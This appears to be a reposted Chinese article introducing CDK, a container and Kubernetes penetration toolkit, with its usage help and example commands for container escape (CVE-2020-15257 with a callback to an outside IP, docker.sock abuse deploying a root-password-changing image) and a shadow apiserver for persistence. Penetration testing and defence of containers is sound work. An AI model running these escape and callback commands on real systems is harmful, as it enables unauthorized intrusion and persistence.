404星链计划 | CDK:一款针对容器场景的多功能渗透工具

1. 评估容器内部弱点、搜集敏感信息。
2. 提供多种容器逃逸的漏洞利用方式。
3. 提供K8s环境的多种持久化、横向移动方式。
4. 提供原生的进程、网络命令，便于测试者自定义攻击操作。

1. Evaluate: 容器内部信息收集，以发现潜在的弱点便于后续利用。
2. Exploit: 提供容器逃逸、持久化、横向移动等利用方式。
3. Tool: 修复渗透过程中常用的linux命令以及与Docker/K8s API交互的命令。

• Evaluate 模块

用于本地信息收集，寻找可用的逃逸点，使用 --full 参数时会包含本地文件扫描。

• Exploit 模块

• Tool 模块

• https://github.com/cdk-team/CDK/releases/

Container DucK
Zero-dependency docker/k8s penetration toolkit by <[email protected]>
Find tutorial, configuration and use-case in https://github.com/Xyntax/CDK/wiki

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weekness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/Xyntax/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl (get|post) <url> <data>             Make request to K8s api-server.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.

• 评估容器弱点

  ‍‍‍‍‍‍‍‍‍‍‍‍

cdk evaluate --full

• containerd-shim(CVE-2020-15257)漏洞逃逸

./cdk run shim-pwn 47.104.151.168 111

• docker.sock漏洞逃逸

# deploy image from dockerhub
./cdk run docker-sock-deploy /var/run/docker.sock alpine:latest

# deploy image from user image registry
./cdk run docker-sock-deploy registry.cn-shanghai.aliyuncs.com/sandboxed-container/cve-2019-5736:change_root_pwd

• 部署K8s shadow apiserver

./cdk run k8s-shadow-apiserver default

404星链计划 | 抗击黑客：如何利用Elkeid构建入侵检测能力

劫持 Golang 编译

rdp 协议攻击面与安全性分析

原文始发于微信公众号（Seebug漏洞平台）：404星链计划 | CDK:一款针对容器场景的多功能渗透工具